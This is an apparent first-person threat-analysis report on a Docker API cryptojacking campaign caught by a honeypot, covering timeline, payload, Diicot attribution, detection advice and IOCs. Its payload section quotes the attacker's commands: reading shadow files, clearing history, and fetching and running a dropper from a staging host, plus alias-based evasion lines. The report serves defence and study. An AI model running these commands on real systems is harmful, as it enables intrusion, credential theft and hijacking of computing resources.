Catching a Docker Cryptojacking Campaign With a Custom Honeypot

A note on scope: This is my first published piece of threat analysis. I built a custom honeypot as a learning project, and this post documents what I observed. I applied structured analytic standards (the NATO Admiralty Scale for evidence grading, ODNI-derived confidence levels, and Analysis of Competing Hypotheses) so that assessments are defensible rather than informal. Definitions for these frameworks are in Appendix B. I welcome corrections and feedback from more experienced researchers.

Between April and July 2026, I spent my nights and weekends building a custom Linux honeypot framework from scratch. I wanted to learn practical threat intelligence, try my hand at malware analysis, and see what actually shows up when you expose vulnerable services to the internet.

On July 17, 2026, the honeypot caught something worth writing about.

The honeypot captured a multi-stage cryptojacking campaign targeting exposed Docker API endpoints (port 2375) and VNC services (port 5900). The attacker used Docker API access to deploy a shell script dropper, attempted to create a privileged container with host filesystem access, and dropped what appears to be an XMRig-based Monero miner. I assess with moderate confidence that the campaign overlaps with the Diicot threat cluster (also tracked historically as Mexals).

To put the evidence in perspective: professional CTI teams like Unit 42 assess state-sponsored campaigns at “moderate confidence” even with years of telemetry, multiple custom backdoors, and weeks of hands-on-keyboard timing analysis. My observation window is a single day from a single honeypot. I use the same “moderate confidence” framing because the indicator overlaps are real and worth reporting, but my dataset is narrow compared to what would normally support this kind of claim. The analytic frameworks I apply throughout (Admiralty grading, the Diamond Model, and ACH) are how I account for that gap.

Key Judgments

These are the main analytic conclusions. Each includes a confidence level (quality of evidence) and a likelihood assessment (probability of the conclusion) using standardised estimative language. Definitions are in Appendix B.

1. The observed activity is an automated cryptojacking campaign targeting exposed Docker APIs.

   • Confidence: High — Directly observed in honeypot telemetry (Admiralty: A1) across 157 events; miner configuration files captured; payload confirmed malicious by ANY.RUN sandbox (Admiralty: B2).
   • Likelihood: Almost certain (95–99%)

2. The payload attempts host container escape via privileged container creation.

   • Confidence: High — Container creation parameters (Privileged: true, host root bind-mount) were directly captured in the Docker API request logs (Admiralty: A1).
   • Likelihood: Almost certain (95–99%)

3. The miner component is XMRig-based.

   • Confidence: Moderate — The captured configuration file uses XMRig’s JSON schema and field names (Admiralty: A2), and the pool/wallet setup is consistent with XMRig. I did not reverse-engineer the binary itself, so this is inferred from the configuration rather than confirmed from the executable.
   • Likelihood: Very likely (80–95%)

4. The campaign overlaps with the Diicot (Mexals) threat cluster.

   • Confidence: Moderate — Multiple indicators align with documented Diicot TTPs: exact directory path matches, Romanian-language script variables, Discord webhook C2, and firewall port-blocking. But the primary payload has been publicly available on MalwareBazaar since approximately May 2026, meaning any group could have adopted this tooling. That limits the exclusivity of the infrastructure overlap needed for high confidence. See Section 7 for the full Analysis of Competing Hypotheses.
   • Likelihood: Likely (55–80%)

Sources and Evidence Grading

Each claim is grounded in one of the following sources, graded using the NATO Admiralty Scale (see Appendix B for the full scale):

Where I reference specific data points, I note which source they come from.

1. Summary of Observations

On 17 July 2026, my honeypot recorded 157 events from the IP address 185.214.96.57 (Latvia, AS207137 PacketHub S.A.), targeting both an exposed Docker API endpoint on port 2375 (66 events) and a VNC service on port 5900 (91 events).

The activity followed an automated pattern: rather than a single sustained session, the attacker operated in three distinct bursts separated by hours of inactivity, consistent with cron-scheduled automation rather than manual interaction.

The campaign followed a clear progression:

1. Test container command execution with echo test
2. Deploy a shell script dropper (.sugipepulesrl) to all discovered containers
3. Attempt to create a new privileged container with the host root filesystem mounted at /host
4. Probe for additional escape vectors (overlay2 layers, containerd sockets, Kubernetes API endpoints)
5. Attempt VNC brute-force in parallel

The dropper was fetched from a staging server at 45.153.34.212:8181. Based on the files it dropped and the configuration data I extracted, the payload’s primary purpose appears to be deploying an XMRig-based Monero cryptominer, with additional functionality for persistence, evasion, and locking out competing attackers.

2. Key Metrics

3. Infrastructure Observed

Based on the honeypot logs and the configuration files extracted from the dropper, the campaign appears to involve the following infrastructure:

1
2

[185.214.96.57]              [45.153.34.212:8181]            [Mining Proxies] -> [SupportXMR Pool]
(Scanning / Initial Access)  (Staging / Payload Hosting)     (64.89.163.174 / 45.153.34.212)

• 185.214.96.57 — The scanning host. Located in Latvia, hosted on PacketHub S.A. (AS207137). This is the IP that connected to the honeypot. The scanning tool used Go-http-client/1.1 and go-dockerclient user-agent strings.
• 45.153.34.212:8181 — The staging server hosting the dropper script and secondary payloads. The dropper fetches binaries and configuration files from subdirectories on this host.
• 64.89.163.174:3333 and 45.153.34.212:3333 — Referenced in the captured miner configuration as Stratum proxy endpoints. Based on the configuration structure, these appear to be private proxies that relay to the public mining pool.
• pool.supportxmr.com — The final destination mining pool, referenced in the captured configuration.

Monero Wallet (from captured config)

The miner configuration targets the following Monero address:

1

49nT8LncH7NfCiRpSrGAUdExTN1XkHLUffgSTGDfdw1gbSp3haCChMMCi513Y9HNjV4DTvZrSZUCv6Rz2xc69w6dDmd5Lww

Monero’s privacy features (stealth addresses, ring signatures) make it difficult to track transaction volumes, though the SupportXMR pool dashboard may show active worker connections for this address.

Mining Pool Port Configuration (from captured config)

The captured configuration file lists multiple fallback pool endpoints on different ports, likely to increase the chance of successful connections across different network environments:

• pool.supportxmr.com:443 (TLS)
• pool.supportxmr.com:9000 (TLS)
• pool.supportxmr.com:5555
• pool.supportxmr.com:8080
• pool.supportxmr.com:80

Using ports like 443, 8080, and 80 may help the miner’s traffic blend with normal web traffic and avoid port-based firewall rules that block common mining ports.

4. Diamond Model Analysis

The Diamond Model of Intrusion Analysis (Caltagirone, Pendergast, Betz, 2013) structures intrusion events around four vertices: Adversary, Capability, Infrastructure, and Victim. Mapping data to each vertex separates what’s known from what’s inferred.

1
2
3
4
5
6
7

                    Adversary
                   /         \
                  /           \
          Capability -------- Infrastructure
                  \           /
                   \         /
                    Victim

Vertex Mapping

Intelligence Gaps

The Diamond Model also helps surface where evidence is missing. The primary gaps are:

• Adversary vertex: This is the weakest vertex. I have indicator overlaps but no exclusive link (e.g., shared C2 infrastructure with known Diicot campaigns, or unique binary artefacts tied to a specific developer). Strengthening this vertex would require infrastructure pivoting (e.g., passive DNS, historical WHOIS, or shared TLS certificate analysis on the C2 server) or binary reverse engineering.
• Capability vertex (partial): I have not reverse-engineered .system3d or .b4nd1d0. The binary capabilities are inferred from configuration files and sandbox behaviour, not confirmed from disassembly. Unique compiler artefacts, embedded strings, or code-signing patterns in the binaries could strengthen or weaken the adversary assessment.
• Meta-feature — Social-Political context: The Diamond Model includes meta-features like the adversary’s motivation. I assess this as financially motivated cryptojacking (Monero mining) with High Confidence based on the miner configuration and pool setup. There is no evidence of espionage, destructive, or hacktivist intent.

5. Timeline of Observed Activity

The honeypot captured three distinct bursts of activity, with long gaps of silence between them.

Burst 1 — Initial Access and Payload Deployment (04:10 - 04:43 UTC)

• 04:10:36 — First Docker API interaction. The tool executed echo test inside container a0c2c51c to verify command execution.
• 04:12:46 - 04:12:57 — Within an 11-second window, the dropper command was sent to all 5 existing containers, instructing each to fetch .sugipepulesrl from the staging server.
• 04:15:58 — A request to create a new container was sent via the Docker API. The parameters were: image ubuntu:22.04, Privileged: true, NetworkMode: host, with the host root filesystem bind-mounted to /host inside the container, and a restart policy of unless-stopped. This combination would give the container unrestricted access to the host’s filesystem, network, and kernel capabilities.
• 04:43:43 — VNC brute-force activity began on port 5900, cycling through 12 common passwords (123456, password, admin, default, etc.).

~7.5 hour gap — no traffic observed.

Burst 2 — Re-Exploitation and Lateral Probing (12:08 - 12:10 UTC)

• 12:08:56 — Another echo test to confirm continued access.
• 12:09:02 — The same dropper command was re-sent to container a0c2c51c.
• 12:09:40 — Checked for /var/lib/docker/overlay2/ inside the container — this would indicate whether Docker’s storage layers are accessible from within, which is another potential escape vector.
• 12:09:52 — Queried several Kubernetes API endpoints (/api/v1/secrets, /api/v1/pods, /api/v1/nodes, /apis/apps/v1/deployments), apparently checking whether the Docker environment is part of a larger Kubernetes cluster.

~2.75 hour gap — no traffic observed.

Burst 3 — Socket Reconnaissance and Final Sweep (14:55 - 15:17 UTC)

• 14:55:29 — Connectivity check and dropper re-deployment to remaining containers.
• 14:56:15 — Searched for containerd and shim unix sockets via /proc/net/unix and ss -lxp. If reachable from inside a container, these sockets could allow direct communication with the container runtime — another potential escape path.
• 15:17:24 — A final VNC attempt with password 123456 closed out the session.

6. Payload Analysis

Stage 1: Initial Command Sequence

The command sequence sent to each container combined reconnaissance, credential access, and dropper staging:

1
2
3
4
5
6

nproc && id && cat /etc/passwd | head -5
cat /host/etc/shadow 2>/dev/null | head -5
history -c
cd /tmp/ ; mkdir .esd101; cd .esd101 ; rm -rf * .*
curl -O hxxp://45.153.34[.]212:8181/.sugipepulesrl || wget hxxp://45.153.34[.]212:8181/.sugipepulesrl
chmod +x .sugipepulesrl; ./.sugipepulesrl

A few things to note:

• nproc reports the number of available CPU cores — useful for tuning a miner’s thread count.
• cat /host/etc/shadow attempts to read the host system’s password hash file via the /host mount point. This would only work in the newly created privileged container where the host root was mounted. In existing containers without this mount, it would silently fail (the 2>/dev/null suppresses the error).
• The dropper uses both curl and wget as a fallback mechanism in case one is not installed.
• history -c clears the shell history to reduce forensic traces.

Stage 2: Dropper Behavior (.sugipepulesrl)

Based on the ANY.RUN sandbox analysis and my static reading of the script, the dropper performs the following:

Command aliasing for evasion — The script contains a function that rewrites shell aliases to neutralise common monitoring tools:

1
2
3
4
5
6
7

alias rm='printf ""'
alias htop='printf ""'
alias find='printf ""'
alias nano='printf ""'
alias ps='printf ""'
alias ss='printf ""'
alias netstat='printf ""'

If an administrator ran htop to investigate a CPU spike or netstat to check network connections, these commands would silently produce no output. Crude, but it works long enough to delay detection.

The script also clears shell history and uses chattr +i to make the SSH authorized_keys file immutable, preventing easy removal of any keys the attacker may inject.

Firewall manipulation (fakewhiteblack.sh) — One of the files dropped by the dropper is a script that uses the host’s firewall tools (iptables, ufw, or firewall-cmd, depending on what’s available) to block incoming connections to port 2375. This is a common pattern in cryptojacking campaigns: after gaining access through an exposed Docker API, the attacker closes the door behind them to prevent competing groups from using the same entry point. Akamai described the same behavior in their August 2025 report on Docker API campaigns.

Notification via Discord webhook — The dropper includes a function that sends a notification to a hardcoded Discord webhook:

1

hxxps://discord[.]com/api/webhooks/846442402545139793/[REDACTED]

The notification appears to include the victim’s external IP (fetched from ifconfig.co), the current username, a timestamp, and system uptime. This gives the operator a real-time alert when a new system is compromised.

Captured Files and Directory Structure

The dropper stages its files in hidden directories. The following is compiled from the honeypot telemetry and the ANY.RUN sandbox execution:

A note on .system3d: The HTML report I generated from the honeypot data described this as “likely a cryptominer (XMRig or Dero miner) with botnet/worm capabilities,” based on OSINT correlation with similar campaigns. I did not execute the binary or reverse-engineer it. The “XMRig-based” label is inferred from the configuration file structure (which uses XMRig’s JSON schema) and the mining pool/wallet setup, not confirmed from the binary itself.

A note on .b4nd1d0: The ANY.RUN sandbox flagged this file but its exact function is unclear. Based on the name pattern and its placement alongside the miner binary, I suspect it serves as a watchdog or persistence mechanism, but I have not confirmed this.

7. Attribution Assessment: Possible Diicot Overlap

Assessment summary: This campaign is likely (55–80%) associated with the Diicot threat cluster. Moderate confidence — multiple independent indicator categories align with documented Diicot TTPs, but the public availability of the primary payload limits the exclusivity of the infrastructure overlap needed for high confidence.

Attribution in threat intelligence requires separating what you observed from what you conclude.

What is Diicot? Diicot (also tracked as Mexals in some reporting) is a threat cluster documented by Bitdefender and Akamai Security Research, among others. Public reporting associates the cluster with Romanian-language tooling and a history of targeting Linux systems for cryptojacking through SSH brute-forcing, Docker API exploitation, and custom shell script droppers.

Indicators supporting the assessment

I have organised the supporting indicators by category, with Admiralty grades for each piece of evidence.

1. Directory and file path matches (Evidence grade: A1 observation, C3 attribution link)

Several of the directory paths used by this payload match IOCs published in Diicot reporting:

• /var/tmp/.ladyg0g0/ — This specific hidden directory name appears in Diicot IOC lists published by Bitdefender
• /usr/.SQL-Unix/.SQL/.db — Also referenced in Diicot documentation
• The use of /tmp/.esd101/ as a staging directory follows the same dot-prefixed hidden directory convention

The paths themselves are A1 — I directly observed them in captured payloads and sandbox output. The link to Diicot via published IOC lists is C3 — reputable vendor reports, but IOCs can be reused across groups, and the original reports are from 2023–2025.

2. Romanian-language references in scripts (Evidence grade: A2)

Several variable names and file references in the dropper script appear to use Romanian language:

• A function named pisamsystemu — appears to be a Romanian-language phrase
• A binary named muiecoaie — appears to be Romanian slang
• The C2 subdirectory /.rupemnasa/ — matches submissions catalogued in public malware indices tracking Romanian-origin tooling

The strings are directly observed in the captured script (A-rated source) and are probably true indicators of the author’s language background (2-rated). But language in code is a moderate-confidence attribution signal — scripts can be copied, forked, or intentionally misleading.

3. Operational TTP alignment (Evidence grade: B2 for individual TTPs, C3 for the composite link)

The combination of Discord webhooks for victim notification, XMRig deployment via Docker API exploitation, and the firewall port-blocking behaviour in fakewhiteblack.sh is consistent with the operational profile described in public Diicot reporting. Each individual TTP is commonly seen across cryptojacking campaigns. It is their specific combination that is more distinctive.

4. MalwareBazaar timeline (Evidence grade: C3)

The .sugipepulesrl filename matches submissions on MalwareBazaar dating to approximately May 2026, suggesting the payload (or a variant of it) has been active for at least five months as of this writing. This is contextual rather than attributive — it places the activity within an ongoing campaign but does not by itself identify who operates it.

What prevents a High Confidence assessment

The distinction between Moderate and High Confidence here comes down to one critical gap: exclusive infrastructure overlap.

• The primary payload (.sugipepulesrl) has been publicly available on MalwareBazaar since approximately May 2026. Any group could have downloaded and deployed it. Public availability weakens the exclusivity of the link.
• I did not perform binary analysis on .system3d or other compiled components. Unique compilation artefacts, debug paths, or embedded infrastructure references in the binaries could strengthen or weaken the attribution.
• I only have visibility into what hit my honeypot. I observed a single IP — I cannot correlate against other targets, track infrastructure ownership over time, or confirm whether the C2 server is shared with known Diicot infrastructure.
• Some of the published Diicot IOCs I cross-referenced date from 2023–2025 campaigns. TTPs and tooling evolve; exact path matches from older campaigns become less attributive over time if the tooling has been publicly documented (and thus available for reuse).
• The Discord webhook ID could represent shared infrastructure, a copycat, or a separate operational cell using the same tooling.

Analysis of Competing Hypotheses (ACH)

Analysis of Competing Hypotheses (ACH) is a structured analytic technique developed by Richards Heuer for the CIA. The method requires the analyst to define competing hypotheses, then evaluate each piece of evidence against every hypothesis — not just the preferred one. Evidence consistent with all hypotheses has low diagnostic value. What matters most is evidence that discriminates: pieces that support one hypothesis while contradicting another.

Hypotheses under consideration:

ACH Evidence Matrix:

The notation: ++ strongly supports, + supports, N neutral, - contradicts, – strongly contradicts.

Reading the matrix:

• H4 (Independent convergence) is the weakest hypothesis. Evidence E1 and E2 strongly contradict it — the specific directory names .ladyg0g0 and .SQL-Unix are distinctive strings unlikely to arise independently, and Romanian-language variable names are not a common cryptojacking pattern. H4 can be substantially deprioritised.

• H1 (Active Diicot) is the most supported hypothesis, with strong support from the most diagnostic evidence (E1, E2). It carries one contradiction (E7): if this were an active Diicot operation, we would expect to confirm infrastructure ties to known Diicot campaigns. The absence of this link is not proof against H1 — infrastructure rotates — but it prevents the assessment from reaching High Confidence.

• H2 (Tooling reuse) remains viable. The payload’s public availability on MalwareBazaar (E6) strongly supports the possibility that an unrelated actor adopted this tooling. This concern is not hypothetical — as Unit 42 noted in their analysis of Southeast Asian government targeting, threat groups “often share tooling, as well as tactics, techniques and procedures (TTPs) with each other,” to the point that even well-resourced CTI teams “cannot state with certainty whether these public reports relate to the same group.” The same dynamic applies here. But H2 is somewhat weakened by E1 and E2 — an actor reusing a public dropper would not necessarily reproduce the same directory structures and Romanian-language naming conventions unless they deployed the tooling without modification.

• H3 (Affiliate/splinter) cannot be distinguished from H1 with the data I have. This hypothesis scores identically to H1 on most evidence. Distinguishing between “Diicot core” and “Diicot affiliate” would require internal campaign visibility that I do not possess.

Most diagnostic evidence: E1 (directory paths) and E2 (Romanian language) are the most diagnostic — they strongly discriminate H1/H3 from H4. E6 (public payload availability) is the most diagnostic for keeping H2 alive. E3, E4, and E5 are consistent with nearly all hypotheses and therefore have low diagnostic value for attribution (though they confirm the campaign’s operational nature).

Formal Assessment

What would change the assessment

8. MITRE ATT&CK Mapping

The following techniques were observed directly in the honeypot telemetry or confirmed via the ANY.RUN sandbox analysis:

9. Detection and Hardening Recommendations

If you run containerised Linux infrastructure, these may help detect or prevent this type of activity.

Detection

• Process monitoring: Alert on shell processes (bash, dash, sh) executing from world-writable directories (/tmp/, /var/tmp/) — especially if the command line references directory names like .esd101, .ladyg0g0, or .SQL-Unix.
• Network monitoring: Watch for outbound connections on ports commonly used for cryptomining (3333, 5555) or unexpected outbound connections on ports 443, 8080, 9000 from non-browser processes.
• Docker API logging: If you run a Docker daemon with remote API access, monitor for go-dockerclient or Go-http-client/1.1 user-agent strings, and alert on docker exec commands originating from external IPs.

Hardening

• Do not expose the Docker API (port 2375) to untrusted networks. If remote access is required, use mutual TLS authentication.
• Restrict privileged container creation. Use Docker’s --no-new-privileges flag, drop unnecessary capabilities, and consider rootless Docker to limit the blast radius of container escapes.
• Monitor for containers created with Privileged: true or host filesystem mounts — these are almost never needed in production and are the primary escape mechanism used in this campaign.

Appendix A: Indicators of Compromise

Network Indicators

File Indicators

Filesystem Paths to Hunt For

• /tmp/.esd101/
• /var/tmp/.ladyg0g0/
• /usr/.SQL-Unix/.SQL/.db

References

1. ANY.RUN Interactive Sandbox Analysis — Task ID: f8360f46-2771-4bc0-900f-fa99a1981154. Analysed payload: hxxp://45.153.34[.]212:8181/.sugipepulesrl (Ubuntu 22.04.2 environment, 17 July 2026).
2. Custom Honeypot Telemetry — 157 events from IP 185.214.96.57 across Docker TCP port 2375 and VNC port 5900 (17 July 2026).
3. Captured Configuration Files — XMRig-format JSON configuration files extracted from /tmp/.esd101/ staging directory (static analysis only, 17 July 2026).
4. Akamai Security Research — Reporting on Docker API exploitation campaigns with firewall-blocking behaviour (2025).
5. Bitdefender Labs — Reporting on Diicot/Mexals threat cluster TTPs and IOCs.
6. Trend Micro — “Exposed Docker Server Abused to Drop Cryptominer” (June 2025).
7. MalwareBazaar — .sugipepulesrl submissions (earliest observed: ~May 2026).
8. Unit 42, Palo Alto Networks — “Suspected China-Based Espionage Operation Against Military Targets in Southeast Asia” (March 2026). Referenced for analytic methodology comparison.
9. Unit 42, Palo Alto Networks — “Multiple Espionage Campaigns Target Southeast Asian Government Organization” (2025). Notable for the caveat that threat groups “often share tooling, as well as tactics, techniques and procedures (TTPs) with each other” — directly applicable to the Diicot tooling-reuse hypothesis in this report.
10. Heuer, Richards J. — Psychology of Intelligence Analysis (CIA Center for the Study of Intelligence, 1999). Source methodology for Analysis of Competing Hypotheses (ACH).
11. ODNI ICD 203 — Analytic Standards (Office of the Director of National Intelligence). Framework for confidence levels and estimative language.
12. Caltagirone, Pendergast, Betz — The Diamond Model of Intrusion Analysis (2013). Framework for structuring intrusion analysis across adversary, capability, infrastructure, and victim vertices.

Appendix B: Analytic Methodology

This appendix defines the structured analytic frameworks used throughout the report, so readers can verify what I mean by terms like “moderate confidence” or “A1.”

NATO Admiralty Scale

The Admiralty Code is a two-axis grading system used in intelligence analysis to separately evaluate the reliability of the source and the credibility of the information it provides. Each piece of evidence receives a letter-number grade (e.g., “B2”). A high-reliability source can still provide low-credibility information, and vice versa — separating the two prevents conflation.

Source Reliability:

Information Credibility:

ODNI-Derived Confidence Levels

Where the Admiralty Scale grades individual evidence, confidence levels grade overall analytic judgments — the synthesised conclusions drawn from multiple sources. Derived from the U.S. Office of the Director of National Intelligence (ODNI) Intelligence Community Directive 203 (Analytic Standards).

Estimative Language

Standardised probability language used alongside confidence levels to express how likely a conclusion is, given the available evidence.

Diamond Model of Intrusion Analysis

The Diamond Model (Caltagirone, Pendergast, Betz, 2013) structures intrusion events around four core vertices: Adversary (who), Capability (what tools and techniques), Infrastructure (what systems and networks), and Victim (who was targeted). By mapping observed data to each vertex, analysts can identify what is known, what is inferred, and where intelligence gaps remain. The model also includes meta-features such as social-political context and technology context.

Analysis of Competing Hypotheses (ACH)

ACH is a structured analytic technique developed by Richards Heuer for the CIA (Psychology of Intelligence Analysis, 1999). Rather than seeking evidence that confirms a preferred explanation, ACH requires the analyst to:

1. Identify all reasonable hypotheses
2. List significant evidence and arguments for and against each
3. Evaluate each piece of evidence against every hypothesis — not just the preferred one
4. Focus on diagnostic evidence — pieces that discriminate between hypotheses by supporting one while contradicting another
5. Reject hypotheses that are contradicted by the most diagnostic evidence
6. Report conclusions with sensitivity to the evidence that remains uncertain

Evidence consistent with all hypotheses has low diagnostic value. What matters most is evidence that discriminates between competing explanations.